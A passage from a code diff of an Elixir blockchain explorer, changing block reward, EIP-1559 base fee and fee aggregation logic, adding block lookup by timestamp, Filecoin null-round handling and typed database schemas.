base_fee_per_gas) + uncle_reward = static_reward |> Wei.div(@uncle_reward_coef) |> Wei.mult(uncles_count) + + # eip4844 blob transactions don't impact validator rewards, so we don't count them here as part of transaction_fees and burnt_fees + %{ + block_number: block_number, + block_hash: block_hash, + miner_hash: block.miner_hash, + static_reward: static_reward, + transaction_fees: %Wei{value: transaction_fees}, + burnt_fees: %Wei{value: burnt_fees}, + uncle_reward: uncle_reward + } + end + + def uncle_reward_coef, do: @uncle_reward_coef + + # Gets EIP-1559 config actual for the given block number. + # If not found, returns EIP_1559_BASE_FEE_MAX_CHANGE_DENOMINATOR and EIP_1559_ELASTICITY_MULTIPLIER env values. + # + # ## Parameters + # - `block_number`: The given block number. + # + # ## Returns + # - `{denominator, multiplier}` tuple. + @spec get_eip1559_config(non_neg_integer()) :: {non_neg_integer(), non_neg_integer()} + defp get_eip1559_config(block_number) do + with true <- Application.get_env(:explorer, :chain_type) == :optimism, + # credo:disable-for-next-line Credo.Check.Design.AliasUsage + config = Explorer.Chain.Optimism.EIP1559ConfigUpdate.actual_config_for_block(block_number), + false <- is_nil(config) do + config + else + _ -> + {Application.get_env(:explorer, :base_fee_max_change_denominator), + Application.get_env(:explorer, :elasticity_multiplier)} + end + end + + @doc """ + Calculates the gas target for a given block. + + The gas target represents the percentage by which the actual gas used is above or below the gas target for the block, adjusted by the elasticity multiplier. + If the `gas_limit` is greater than 0, it calculates the ratio of `gas_used` to `gas_limit` adjusted by this multiplier. + + The multiplier is read from the `EIP_1559_ELASTICITY_MULTIPLIER` env variable or from the `op_eip1559_config_updates` table + as a dynamic parameter (if OP Holocene upgrade is activated). + + ## Parameters + - `block`: A map representing block for which the gas target should be calculated. + + ## Returns + - A float value representing the gas target percentage. + """ + @spec gas_target(t()) :: float() + def gas_target(block) do + if Decimal.compare(block.gas_limit, 0) == :gt do + {_, elasticity_multiplier} = get_eip1559_config(block.number) + + ratio = Decimal.div(block.gas_used, Decimal.div(block.gas_limit, elasticity_multiplier)) + ratio |> Decimal.sub(1) |> Decimal.mult(100) |> Decimal.to_float() + else + 0.0 + end + end + + @doc """ + Calculates the percentage of gas used for a given block relative to its gas limit. + + This function determines what percentage of the block's gas limit was actually used by the transactions in the block. + """ + @spec gas_used_percentage(t()) :: float() + def gas_used_percentage(block) do + if Decimal.compare(block.gas_limit, 0) == :gt do + block.gas_used |> Decimal.div(block.gas_limit) |> Decimal.mult(100) |> Decimal.to_float() + else + 0.0 + end + end + + @doc """ + Calculates the base fee for the next block based on the current block's gas usage. + + The base fee calculation uses the following [formula](https://eips.ethereum.org/EIPS/eip-1559): + + gas_target = gas_limit / elasticity_multiplier + base_fee_for_next_block = base_fee_per_gas + (base_fee_per_gas * gas_used_delta / gas_target / base_fee_max_change_denominator) + + where `elasticity_multiplier` is an env variable `EIP_1559_ELASTICITY_MULTIPLIER` or the dynamic value + got from the `op_eip1559_config_updates` database table. The `gas_used_delta` is the difference between + the actual gas used and the target gas. The `base_fee_max_change_denominator` is an env variable + `EIP_1559_BASE_FEE_MAX_CHANGE_DENOMINATOR` (or the dynamic value got from the `op_eip1559_config_updates` + table) that limits the maximum change of the base fee from one block to the next. + """ + @spec next_block_base_fee_per_gas :: Decimal.t() | nil + def next_block_base_fee_per_gas do + query = + from(block in Block, + where: block.consensus == true, + order_by: [desc: block.number], + limit: 1 + ) + + case Repo.one(query) do + nil -> nil + block -> next_block_base_fee_per_gas(block) + end + end + + @spec next_block_base_fee_per_gas(t()) :: Decimal.t() | nil + def next_block_base_fee_per_gas(block) do + {base_fee_max_change_denominator, elasticity_multiplier} = get_eip1559_config(block.number) + + gas_target = Decimal.div_int(block.gas_limit, elasticity_multiplier) + + lower_bound = Application.get_env(:explorer, :base_fee_lower_bound) + + base_fee_per_gas_decimal = block.base_fee_per_gas |> Wei.to(:wei) + + base_fee_per_gas_decimal && + block.gas_used + |> Decimal.gt?(gas_target) + |> if do + gas_used_delta = Decimal.sub(block.gas_used, gas_target) + + base_fee_per_gas_decimal + |> get_base_fee_per_gas_delta(gas_used_delta, gas_target, base_fee_max_change_denominator) + |> Decimal.max(Decimal.new(1)) + |> Decimal.add(base_fee_per_gas_decimal) + else + gas_used_delta = Decimal.sub(gas_target, block.gas_used) + + base_fee_per_gas_decimal + |> get_base_fee_per_gas_delta(gas_used_delta, gas_target, base_fee_max_change_denominator) + |> Decimal.negate() + |> Decimal.add(base_fee_per_gas_decimal) + end + |> Decimal.max(lower_bound) + end + + defp get_base_fee_per_gas_delta(base_fee_per_gas_decimal, gas_used_delta, gas_target, base_fee_max_change_denominator) do + base_fee_per_gas_decimal + |> Decimal.mult(gas_used_delta) + |> Decimal.div_int(gas_target) + |> Decimal.div_int(base_fee_max_change_denominator) + end + + @spec set_refetch_needed(integer | [integer]) :: :ok + def set_refetch_needed(block_numbers) when is_list(block_numbers) do + query = + from(block in Block, + where: block.number in ^block_numbers, + # Enforce Block ShareLocks order (see docs: sharelocks.md) + order_by: [asc: block.hash], + lock: "FOR NO KEY UPDATE" + ) + + {_count, updated_numbers} = + Repo.update_all( + from(b in Block, join: s in subquery(query), on: b.hash == s.hash, select: b.number), + set: [refetch_needed: true, updated_at: Timex.now()] + ) + + MissingRangesManipulator.add_ranges_by_block_numbers(updated_numbers) + end + + def set_refetch_needed(block_number), do: set_refetch_needed([block_number]) + + @doc """ + Generates a query to fetch blocks by their hashes. + + ## Parameters + + - `hashes`: A list of block hashes to filter by. + + ## Returns + + - An Ecto query that can be used to retrieve blocks matching the given hashes. + """ + @spec by_hashes_query([binary()]) :: Ecto.Query.t() + def by_hashes_query(hashes) do + __MODULE__ + |> where([block], block.hash in ^hashes) + end + + @doc """ + Calculates and aggregates transaction-related metrics for a block if not already aggregated. + + This function processes all transactions in a block to compute aggregate + statistics including transaction counts, fees, burnt fees, and priority fees. + The aggregation only occurs if the block has not been previously aggregated + (when `aggregated?` is `nil` or `false`) and contains a list of transactions. + + For each transaction, the function calculates: + - Total transaction fees (gas_used * gas_price) + - Burnt fees (gas_used * base_fee_per_gas) + - Priority fees paid to miners (min of priority fee and effective fee) + - Blob transaction detection (type 3 transactions) + + ## Parameters + - `block`: A Block struct containing transactions to be aggregated + + ## Returns + - Block struct with aggregated transaction metrics and `aggregated?` set to `true` + - Original block unchanged if already aggregated or transactions is not a list + """ + @spec aggregate_transactions(t()) :: t() + def aggregate_transactions(%__MODULE__{transactions: transactions, aggregated?: aggregated?} = block) + when is_list(transactions) and aggregated? in [nil, false] do + aggregate_results = + Enum.reduce( + transactions, + %{ + transactions_count: 0, + blob_transactions_count: 0, + transactions_fees: Decimal.new(0), + burnt_fees: Decimal.new(0), + priority_fees: Decimal.new(0) + }, + &transaction_aggregator(&1, &2, block.base_fee_per_gas) + ) + + block + |> Map.merge(aggregate_results) + |> Map.put(:aggregated?, true) + end + + def aggregate_transactions(block), do: block + + defp transaction_aggregator(transaction, acc, block_base_fee_per_gas) do + gas_used = Helper.number_to_decimal(transaction.gas_used) + + transaction_fees = + if is_nil(transaction.gas_price) do + acc.transactions_fees + else + gas_used + |> Decimal.new() + |> Decimal.mult(Helper.number_to_decimal(transaction.gas_price)) + |> Decimal.add(acc.transactions_fees) + end + + burnt_fees = + if is_nil(block_base_fee_per_gas) do + acc.burnt_fees + else + transaction.gas_used + |> Decimal.new() + |> Decimal.mult(Helper.number_to_decimal(block_base_fee_per_gas)) + |> Decimal.add(acc.burnt_fees) + end + + priority_fees = + block_base_fee_per_gas + |> is_nil() + |> if do + acc.priority_fees + else + max_fee = Helper.number_to_decimal(transaction.max_fee_per_gas || transaction.gas_price) + priority_fee = Helper.number_to_decimal(transaction.max_priority_fee_per_gas || transaction.gas_price) + + max_fee + |> Decimal.eq?(Decimal.new(0)) + |> if do + Decimal.new(0) + else + max_fee + |> Decimal.sub(Helper.number_to_decimal(block_base_fee_per_gas)) + |> Decimal.min(priority_fee) + |> Decimal.mult(gas_used) + end + |> Decimal.add(acc.priority_fees) + end + + %{ + transactions_count: acc.transactions_count + 1, + blob_transactions_count: acc.blob_transactions_count + if(transaction.type == 3, do: 1, else: 0), + transactions_fees: transaction_fees, + burnt_fees: burnt_fees, + priority_fees: priority_fees + } + end end diff --git a/apps/explorer/lib/explorer/chain/block/emission_reward.ex b/apps/explorer/lib/explorer/chain/block/emission_reward.ex index a6c3713fcce0..8be68584b56e 100644 --- a/apps/explorer/lib/explorer/chain/block/emission_reward.ex +++ b/apps/explorer/lib/explorer/chain/block/emission_reward.ex @@ -5,7 +5,7 @@ defmodule Explorer.Chain.Block.EmissionReward do use Explorer.Schema - alias Explorer.Chain.Block.{EmissionReward, Range} + alias Explorer.Chain.Block.Range alias Explorer.Chain.Wei @typedoc """ @@ -14,15 +14,10 @@ defmodule Explorer.Chain.Block.EmissionReward do * `:block_range` - Range of block numbers * `:reward` - Reward given in Wei """ - @type t :: %EmissionReward{ - block_range: Range.t(), - reward: Wei.t() - } - @primary_key false - schema "emission_rewards" do - field(:block_range, Range) - field(:reward, Wei) + typed_schema "emission_rewards" do + field(:block_range, Range, null: false) + field(:reward, Wei, null: false) end def changeset(%__MODULE__{} = emission_reward, attrs) do diff --git a/apps/explorer/lib/explorer/chain/block/reader/general.ex b/apps/explorer/lib/explorer/chain/block/reader/general.ex new file mode 100644 index 000000000000..6886c8561824 --- /dev/null +++ b/apps/explorer/lib/explorer/chain/block/reader/general.ex @@ -0,0 +1,284 @@ +defmodule Explorer.Chain.Block.Reader.General do + @moduledoc """ + Provides general methods for reading block data from the database. + """ + + import Ecto.Query, + only: [ + from: 2, + subquery: 1, + union: 2 + ] + + import Explorer.Chain, only: [select_repo: 1] + + alias Explorer.Repo + + alias Explorer.Chain.{ + Block, + BlockNumberHelper + } + + require Logger + + @doc """ + Converts a timestamp to its nearest block number. + + Locates the block number closest to a given timestamp, with options to adjust the + search to find blocks either before or after the timestamp, and to handle null + rounds in the blockchain. + + ## Parameters + - `given_timestamp`: The timestamp for which the closest block number is + being sought. + - `closest`: A direction indicator (`:before` or `:after`) specifying + whether the block number returned should be before or after the + given timestamp. + - `from_api`: A boolean flag indicating whether to use the replica database + or the primary one for the query. + - `strict`: A boolean flag controlling the block selection behavior: + * `false` (default): Returns the block with smallest absolute time + difference, then adjusts based on `closest` parameter if needed. In this + mode, the function could return a block number which does not exist + in the database. + * `true`: Returns strictly the first existing block before/after the + timestamp based on the `closest` parameter. + + ## Returns + - `{:ok, block_number}` where `block_number` is the block number closest to + the specified timestamp. + - `{:error, :not_found}` if no block is found within the specified criteria + or if the found block represents a null round. + """ + @spec timestamp_to_block_number(DateTime.t(), :before | :after, boolean(), boolean()) :: + {:ok, Block.block_number()} | {:error, :not_found} + def timestamp_to_block_number(given_timestamp, closest, from_api, strict \\ false) + + def timestamp_to_block_number(given_timestamp, closest, from_api, true) do + query = build_directional_query(given_timestamp, closest) + + # No need to handle null rounds here as in the strict mode only blocks + # indexed by the block fetcher are considered. Null rounds are time slots + # where no Filecoin miner produced a block at all. + case select_repo(api?: from_api).one(query, timeout: :infinity) do + nil -> {:error, :not_found} + %{number: number} -> {:ok, number} + end + end + + def timestamp_to_block_number(given_timestamp, closest, from_api, false) do + # Finds the first block with timestamp less than or equal to the given timestamp + lt_timestamp_query = build_directional_query(given_timestamp, :before) + # Finds the first block with timestamp greater than or equal to the given timestamp + gt_timestamp_query = build_directional_query(given_timestamp, :after) + + # Combines the queries for blocks before and after the timestamp into a single union query + union_query = lt_timestamp_query |> subquery() |> union(^gt_timestamp_query) + + # Orders blocks by their absolute time difference from the target timestamp, + # selecting the single closest block regardless of whether it's before or after + query = + from( + block in subquery(union_query), + select: block, + order_by: fragment("abs(extract(epoch from (? - ?)))", block.timestamp, ^given_timestamp), + limit: 1 + ) + + case select_repo(api?: from_api).one(query, timeout: :infinity) do + nil -> + {:error, :not_found} + + %{number: number, timestamp: timestamp} -> + block_number = get_block_number_based_on_closest(closest, timestamp, given_timestamp, number) + {:ok, block_number} + end + end + + @doc """ + Fetches timestamps by the given block numbers from the `blocks` database table and returns + a `block_number -> timestamp` map. The number of keys in resulting map can be less than the + number of the given block numbers. + + ## Parameters + - `block_numbers`: The list of block numbers. + + ## Returns + - The resulting `block_number -> timestamp` map. Can be empty map (%{}). + """ + @spec timestamps_by_block_numbers([non_neg_integer()]) :: map() + def timestamps_by_block_numbers([]), do: %{} + + def timestamps_by_block_numbers(block_numbers) when is_list(block_numbers) do + query = + from( + block in Block, + where: block.number in ^block_numbers and block.consensus == true, + select: {block.number, block.timestamp} + ) + + query + |> Repo.all() + |> Enum.into(%{}) + end + + # Builds a query to find consensus blocks either before or after a given timestamp + # + # ## Parameters + # - `timestamp`: The timestamp to compare against + # - `direction`: Either `:before` or `:after` to indicate search direction + # + # ## Returns + # - A query that will find the closest consensus block in the specified direction + @spec build_directional_query(DateTime.t(), :before | :after) :: Ecto.Query.t() + defp build_directional_query(timestamp, direction) do + base_query = + from(block in Block, + where: block.consensus == true, + limit: 1 + ) + + base_query + |> case do + query when direction == :before -> adjust_query_to_highest_block(query, timestamp) + query when direction == :after -> adjust_query_to_lowest_block(query, timestamp) + end + end + + # Adjusts the query to find the highest block number with timestamp <= given timestamp + # + # ## Parameters + # - `query`: The base query to build upon + # - `timestamp`: The timestamp to compare against + # + # ## Returns + # - A query that will find the highest block before or at the given timestamp. + # If multiple blocks have the same timestamp, returns the one with the highest number. + @spec adjust_query_to_highest_block(Ecto.Query.t(), DateTime.t()) :: Ecto.Query.t() + defp adjust_query_to_highest_block(query, timestamp) do + from(block in query, + where: block.timestamp <= ^timestamp, + order_by: [desc: block.timestamp, desc: block.number] + ) + end + + # Adjusts the query to find the lowest block number with timestamp >= given timestamp + # + # ## Parameters + # - `query`: The base query to build upon + # - `timestamp`: The timestamp to compare against + # + # ## Returns + # - A query that will find the lowest block after or at the given timestamp. + # If multiple blocks have the same timestamp, returns the one with the lowest number. + @spec adjust_query_to_lowest_block(Ecto.Query.t(), DateTime.t()) :: Ecto.Query.t() + defp adjust_query_to_lowest_block(query, timestamp) do + from(block in query, + where: block.timestamp >= ^timestamp, + order_by: [asc: block.timestamp, asc: block.number] + ) + end + + # Determines the appropriate block number based on the requested direction and timestamp comparison. + # + # Analyzes the relationship between block timestamp and target timestamp to return + # either the current block number or an adjacent block number, depending on the + # specified direction (:before or :after) and timestamp comparison result. + # + # ## Parameters + # - `closest`: Either `:before` or `:after` to indicate desired block position + # - `timestamp`: The timestamp of the current block + # - `given_timestamp`: The target timestamp for comparison + # - `number`: The current block number + # + # ## Returns + # - For `:before`: Returns current block number if block timestamp <= given timestamp, + # otherwise returns previous block number + # - For `:after`: Returns current block number if block timestamp >= given timestamp, + # otherwise returns next block number + @spec get_block_number_based_on_closest(:before | :after, DateTime.t(), DateTime.t(), Block.block_number()) :: + Block.block_number() + defp get_block_number_based_on_closest(closest, timestamp, given_timestamp, number) do + # Note: When calculating adjacent block numbers (previous/next) for both `:before` + # and `:after` cases, there is no guarantee that the calculated block number + # exists in the database + + case closest do + :before -> + if DateTime.compare(timestamp, given_timestamp) in ~w(lt eq)a do + number + else + BlockNumberHelper.previous_block_number(number) + end + + :after -> + if DateTime.compare(timestamp, given_timestamp) in ~w(gt eq)a do + number + else + BlockNumberHelper.next_block_number(number) + end + end + end + + @doc """ + Filters the `base_query` to include only the records where the `block_number` falls within the specified period. + + ## Parameters + + - `base_query`: The initial query to be filtered. + - `from_block`: The starting block number of the period. Can be `nil`. + - `to_block`: The ending block number of the period. Can be `nil`. + + ## Returns + + - A query filtered by the specified block number period. + + ## Examples + + - When `from_block` is `nil` and `to_block` is not `nil`: + ```elixir + where_block_number_in_period(query, nil, 100) + # Filters the query to include records with block_number <= 100 + ``` + + - When `from_block` is not `nil` and `to_block` is `nil`: + ```elixir + where_block_number_in_period(query, 50, nil) + # Filters the query to include records with block_number >= 50 + ``` + + - When both `from_block` and `to_block` are `nil`: + ```elixir + where_block_number_in_period(query, nil, nil) + # Returns the base query without any filtering + ``` + + - When both `from_block` and `to_block` are not `nil`: + ```elixir + where_block_number_in_period(query, 50, 100) + # Filters the query to include records with block_number between 50 and 100 (inclusive) + ``` + """ + @spec where_block_number_in_period(Ecto.Query.t(), non_neg_integer() | nil, non_neg_integer() | nil) :: Ecto.Query.t() + def where_block_number_in_period(base_query, from_block, to_block) when is_nil(from_block) and not is_nil(to_block) do + from(q in base_query, + where: q.block_number <= ^to_block + ) + end + + def where_block_number_in_period(base_query, from_block, to_block) when not is_nil(from_block) and is_nil(to_block) do + from(q in base_query, + where: q.block_number >= ^from_block + ) + end + + def where_block_number_in_period(base_query, from_block, to_block) when is_nil(from_block) and is_nil(to_block) do + base_query + end + + def where_block_number_in_period(base_query, from_block, to_block) do + from(q in base_query, + where: q.block_number >= ^from_block and q.block_number <= ^to_block + ) + end +end diff --git a/apps/explorer/lib/explorer/chain/block/reward.ex b/apps/explorer/lib/explorer/chain/block/reward.ex index f3c9bfa05eb6..f558c0eced42 100644 --- a/apps/explorer/lib/explorer/chain/block/reward.ex +++ b/apps/explorer/lib/explorer/chain/block/reward.ex @@ -5,10 +5,12 @@ defmodule Explorer.Chain.Block.Reward do use Explorer.Schema - alias Explorer.Chain + alias Explorer.Application.Constants + alias Explorer.{Chain, PagingOptions, Repo} alias Explorer.Chain.Block.Reward.AddressType - alias Explorer.Chain.{Address, Block, Hash, Wei} - alias Explorer.{PagingOptions, Repo} + alias Explorer.Chain.{Address, Block, Hash, Validator, Wei} + alias Explorer.Chain.Fetcher.FetchValidatorInfoOnDemand + alias Explorer.Chain.SmartContract alias Explorer.SmartContract.Reader @required_attrs ~w(address_hash address_type block_hash reward)a @@ -33,8 +35,6 @@ defmodule Explorer.Chain.Block.Reward do "constant" => true } - @empty_address "0x0000000000000000000000000000000000000000" - @typedoc """ The validation reward given related to a block. @@ -43,26 +43,18 @@ defmodule Explorer.Chain.Block.Reward do * `:block_hash` - Hash of the validated block * `:reward` - Total block reward """ - @type t :: %__MODULE__{ - address: %Ecto.Association.NotLoaded{} | Address.t() | nil, - address_hash: Hash.Address.t(), - address_type: AddressType.t(), - block: %Ecto.Association.NotLoaded{} | Block.t() | nil, - block_hash: Hash.Full.t(), - reward: Wei.t() - } - @primary_key false - schema "block_rewards" do - field(:address_type, AddressType) - field(:reward, Wei) + typed_schema "block_rewards" do + field(:address_type, AddressType, null: false) + field(:reward, Wei, null: false) belongs_to( :address, Address, foreign_key: :address_hash, references: :hash, - type: Hash.Address + type: Hash.Address, + null: false ) belongs_to( @@ -70,7 +62,8 @@ defmodule Explorer.Chain.Block.Reward do Block, foreign_key: :block_hash, references: :hash, - type: Hash.Full + type: Hash.Full, + null: false ) timestamps() @@ -92,10 +85,15 @@ defmodule Explorer.Chain.Block.Reward do Returns a list of tuples representing rewards by the EmissionFunds on POA chains. The tuples have the format {EmissionFunds, Validator} """ - def fetch_emission_rewards_tuples(address_hash, paging_options, %{ - min_block_number: min_block_number, - max_block_number: max_block_number - }) do + def fetch_emission_rewards_tuples( + address_hash, + paging_options, + %{ + min_block_number: min_block_number, + max_block_number: max_block_number + }, + options + ) do address_rewards = __MODULE__ |> join_associations() @@ -104,7 +102,7 @@ defmodule Explorer.Chain.Block.Reward do |> order_by([_, block], desc: block.number) |> where([reward], reward.address_hash == ^address_hash) |> address_rewards_blocks_ranges_clause(min_block_number, max_block_number, paging_options) - |> Repo.all() + |> Chain.select_repo(options).all() case List.first(address_rewards) do nil -> @@ -128,7 +126,7 @@ defmodule Explorer.Chain.Block.Reward do |> order_by([_, block], desc: block.number) |> where([reward], reward.address_type == ^other_type) |> where([reward], reward.block_hash in ^block_hashes) - |> Repo.all() + |> Chain.select_repo(options).all() if other_type == :emission_funds do Enum.zip(other_rewards, address_rewards) @@ -138,7 +136,7 @@ defmodule Explorer.Chain.Block.Reward do end end - defp is_validator(mining_key) do + defp validator?(mining_key) do validators_contract_address = Application.get_env(:explorer, Explorer.Chain.Block.Reward, %{})[:validators_contract_address] @@ -152,36 +150,48 @@ defmodule Explorer.Chain.Block.Reward do end end + def get_validator_payout_key_by_mining_from_db(mining_key, options \\ []) do + contract_address_from_db = Constants.get_keys_manager_contract_address(options) + + contract_address_from_env = + Application.get_env(:explorer, Explorer.Chain.Block.Reward, %{})[:keys_manager_contract_address] + + cond do + is_nil(contract_address_from_env) -> + %{is_validator: nil, payout_key: mining_key} + + is_nil(contract_address_from_db) -> + FetchValidatorInfoOnDemand.trigger_fetch(mining_key) + %{is_validator: nil, payout_key: mining_key} + + contract_address_from_db.value |> String.downcase() == contract_address_from_env |> String.downcase() -> + FetchValidatorInfoOnDemand.trigger_fetch(mining_key) + validator = Validator.get_validator_by_address_hash(mining_key, options) + is_validator = validator && validator.is_validator + + with {:is_validator, true} <- {:is_validator, is_validator}, + false <- is_nil(validator.payout_key_hash) do + %{is_validator: is_validator, payout_key: validator.payout_key_hash} + else + _ -> + %{is_validator: is_validator, payout_key: mining_key} + end + + true -> + FetchValidatorInfoOnDemand.trigger_fetch(mining_key) + %{is_validator: nil, payout_key: mining_key} + end + end + def get_validator_payout_key_by_mining(mining_key) do - is_validator = is_validator(mining_key) + is_validator = validator?(mining_key) if is_validator do keys_manager_contract_address = Application.get_env(:explorer, Explorer.Chain.Block.Reward, %{})[:keys_manager_contract_address] if keys_manager_contract_address do - payout_key = - if keys_manager_contract_address do - # 7cded930=keccak256(getPayoutByMining(address)) - get_payout_by_mining_params = %{"7cded930" => [mining_key.bytes]} - - payout_key_hash = - call_contract(keys_manager_contract_address, @get_payout_by_mining_abi, get_payout_by_mining_params) - - if payout_key_hash == @empty_address do - mining_key - else - case Chain.string_to_address_hash(payout_key_hash) do - {:ok, payout_key} -> - payout_key - - _ -> - mining_key - end - end - else - mining_key - end + payout_key = get_payout_key(keys_manager_contract_address, mining_key) %{is_validator: is_validator, payout_key: payout_key} else @@ -192,6 +202,34 @@ defmodule Explorer.Chain.Block.Reward do end end + defp get_payout_key(keys_manager_contract_address, mining_key) do + if keys_manager_contract_address do + # 7cded930=keccak256(getPayoutByMining(address)) + get_payout_by_mining_params = %{"7cded930" => [mining_key.bytes]} + + payout_key_hash = + call_contract(keys_manager_contract_address, @get_payout_by_mining_abi, get_payout_by_mining_params) + + if payout_key_hash == SmartContract.burn_address_hash_string() do + mining_key + else + choose_key(payout_key_hash, mining_key) + end + else + mining_key + end + end + + defp choose_key(payout_key_hash, mining_key) do + case Chain.string_to_address_hash(payout_key_hash) do + {:ok, payout_key} -> + payout_key + + _ -> + mining_key + end + end + defp call_contract(address, abi, params) do abi = [abi] @@ -202,7 +240,7 @@ defmodule Explorer.Chain.Block.Reward do case Reader.query_contract(address, abi, params, false) do %{^method_id => {:ok, [result]}} -> result - _ -> @empty_address + _ -> SmartContract.burn_address_hash_string() end end @@ -233,4 +271,14 @@ defmodule Explorer.Chain.Block.Reward do query end end + + @doc """ + Checks if an address has rewards + """ + @spec address_has_rewards?(Hash.Address.t()) :: boolean() + def address_has_rewards?(address_hash) do + query = from(r in __MODULE__, where: r.address_hash == ^address_hash) + + Repo.exists?(query) + end end diff --git a/apps/explorer/lib/explorer/chain/block/second_degree_relation.ex b/apps/explorer/lib/explorer/chain/block/second_degree_relation.ex index b9a2af6de16a..941dc51480e7 100644 --- a/apps/explorer/lib/explorer/chain/block/second_degree_relation.ex +++ b/apps/explorer/lib/explorer/chain/block/second_degree_relation.ex @@ -8,7 +8,7 @@ defmodule Explorer.Chain.Block.SecondDegreeRelation do Uncles occur when a Proof-of-Work proof is completed slightly late, but before the next block is completes, so the network knows about the late proof and can credit as an uncle in the next block. - This schema is the join schema between the `nephew` and the `uncle` it is is including the `uncle`. The actual + This schema is the join schema between the `nephew` and the `uncle` it is including the `uncle`. The actual `uncle` block is still a normal `t:Explorer.Chain.Block.t/0`. """ @@ -29,31 +29,26 @@ defmodule Explorer.Chain.Block.SecondDegreeRelation do * `uncle_hash` - foreign key for `uncle`. * `index` - index of the uncle within its nephew. Can be `nil` for blocks fetched before this field was added. """ - @type t :: - %__MODULE__{ - nephew: %Ecto.Association.NotLoaded{} | Block.t(), - nephew_hash: Hash.Full.t(), - uncle: %Ecto.Association.NotLoaded{} | Block.t() | nil, - uncle_fetched_at: nil, - uncle_hash: Hash.Full.t(), - index: non_neg_integer() | nil - } - | %__MODULE__{ - nephew: %Ecto.Association.NotLoaded{} | Block.t(), - nephew_hash: Hash.Full.t(), - uncle: %Ecto.Association.NotLoaded{} | Block.t(), - uncle_fetched_at: DateTime.t(), - uncle_hash: Hash.Full.t(), - index: non_neg_integer() | nil - } - @primary_key false - schema "block_second_degree_relations" do + typed_schema "block_second_degree_relations" do field(:uncle_fetched_at, :utc_datetime_usec) - field(:index, :integer) - - belongs_to(:nephew, Block, foreign_key: :nephew_hash, primary_key: true, references: :hash, type: Hash.Full) - belongs_to(:uncle, Block, foreign_key: :uncle_hash, primary_key: true, references: :hash, type: Hash.Full) + field(:index, :integer, null: true) + + belongs_to(:nephew, Block, + foreign_key: :nephew_hash, + primary_key: true, + references: :hash, + type: Hash.Full, + null: false + ) + + belongs_to(:uncle, Block, + foreign_key: :uncle_hash, + primary_key: true, + references: :hash, + type: Hash.Full, + null: false + ) end def changeset(%__MODULE__{} = uncle, params) do diff --git a/apps/explorer/lib/explorer/chain/block_number_helper.ex b/apps/explorer/lib/explorer/chain/block_number_helper.ex new file mode 100644 index 000000000000..5701118e612e --- /dev/null +++ b/apps/explorer/lib/explorer/chain/block_number_helper.ex @@ -0,0 +1,124 @@ +# credo:disable-for-this-file +defmodule Explorer.Chain.BlockNumberHelper do + @moduledoc """ + Provides helper functions for navigating block numbers in a blockchain. + + For Filecoin chains, this module handles the concept of null rounds - epochs where + no blocks were produced. It helps traverse the blockchain sequence by accounting + for these gaps in block heights. + + For other chain types, it provides standard block number navigation without + considering null rounds. + """ + + use Utils.CompileTimeEnvHelper, chain_type: [:explorer, :chain_type] + + alias EthereumJSONRPC.Utility.RangesHelper + + @doc """ + Returns the previous block number in the blockchain sequence. + + For Filecoin chain type, accounts for null rounds when determining the previous + block number. For other chain types, simply returns the number decremented by + one. + + ## Parameters + - `number`: The reference block height + + ## Returns + - The previous block number, accounting for null rounds in Filecoin chain + """ + @spec previous_block_number(non_neg_integer()) :: non_neg_integer() + def previous_block_number(number), do: neighbor_block_number(number, :previous) + + @doc """ + Returns the next block number in the blockchain sequence. + + For Filecoin chain type, accounts for null rounds when determining the next + block number. For other chain types, simply returns the number incremented by + one. + + ## Parameters + - `number`: The reference block height + + ## Returns + - The next block number, accounting for null rounds in Filecoin chain + """ + @spec next_block_number(non_neg_integer()) :: non_neg_integer() + def next_block_number(number), do: neighbor_block_number(number, :next) + + @doc """ + Returns the total count of null rounds in the blockchain. + + For Filecoin chain type, returns the actual count of null round heights stored + in the database. For other chain types, always returns 0. + + ## Returns + - Total number of null rounds in the blockchain + """ + @spec null_rounds_count() :: non_neg_integer() + def null_rounds_count, do: get_null_rounds_count() + + @spec get_null_rounds_count() :: non_neg_integer() + @spec neighbor_block_number(non_neg_integer(), :previous | :next) :: non_neg_integer() + + case @chain_type do + :filecoin -> + # Returns the total count of null rounds in the blockchain. + defp get_null_rounds_count, do: Explorer.Chain.NullRoundHeight.total() + + # Determines the actual neighboring block number taking into account null rounds. + defp neighbor_block_number(number, direction), + do: Explorer.Chain.NullRoundHeight.neighbor_block_number(number, direction) + + _ -> + defp get_null_rounds_count, do: 0 + + # Determines the adjacent block number + # Returns the adjacent block number by incrementing/decrementing by 1. Note that + # this simple approach differs from Filecoin which handles null rounds. Looks like + # only blocks with consensus `true` must be taken into account here as well. + defp neighbor_block_number(number, direction), do: move_by_one(number, direction) + end + + @doc """ + Moves block number by one in the specified direction. + + When moving backward from the configured minimum possible blockchain block number + (set in :indexer, :block_ranges), returns that minimum block number to maintain + the lower boundary. Callers implementing block traversal loops must explicitly check + for the minimum block number to prevent infinite loops, as moving backward from the + minimum block will continuously return the same number. + + ## Parameters + - `number`: The block number to move from + - `direction`: Either `:previous` or `:next` to indicate movement direction + + ## Returns + - For `:next`: The next block number (number + 1) + - For `:previous`: The previous block number (number - 1), or the configured minimum + possible block number if current block is at the minimum block + + ## Examples + + iex> move_by_one(5, :next) + 6 + + iex> move_by_one(5, :previous) + 4 + + # Assuming first_block is configured as 0 + iex> move_by_one(0, :previous) + 0 # Returns configured minimum possible block number + """ + @spec move_by_one(non_neg_integer(), :previous | :next) :: non_neg_integer() + def move_by_one(number, direction) do + min_block = RangesHelper.get_min_block_number_from_range_string(Application.get_env(:indexer, :block_ranges)) + + case {number, direction} do + {n, :previous} when n <= min_block -> min_block + {_, :previous} -> number - 1 + {_, :next} -> number + 1 + end + end +end diff --git a/apps/explorer/lib/explorer/chain/bridged_token.ex b/apps/explorer/lib/explorer/chain/bridged_token.ex new file mode 100644 index 000000000000..d82d8c9fd26f --- /dev/null +++ b/apps/explorer/lib/explorer/chain/bridged_token.ex @@ -0,0 +1,1026 @@ +defmodule Explorer.Chain.BridgedToken do + @moduledoc """ + Represents a bridged token. + """ + use Explorer.Schema + + import Ecto.Changeset + import EthereumJSONRPC, only: [json_rpc: 2] + import Explorer.Chain.Address.Reputation, only: [reputation_association: 0] + + import Ecto.Query, + only: [ + from: 2, + limit: 2, + where: 2 + ] + + alias ABI.{TypeDecoder, TypeEncoder} + alias Ecto.Changeset + alias EthereumJSONRPC.Contract + alias Explorer.{Chain, PagingOptions, Repo, SortingHelper} + + alias Explorer.Chain.{ + Address, + BridgedToken, + Hash, + InternalTransaction, + Search, + Token, + Transaction + } + + require Logger + + # TODO: Consider using the `EthereumJSONRPC.ERC20` module to retrieve token metadata + + @default_paging_options %PagingOptions{page_size: 50} + # keccak 256 from name() + @name_signature "0x06fdde03" + # 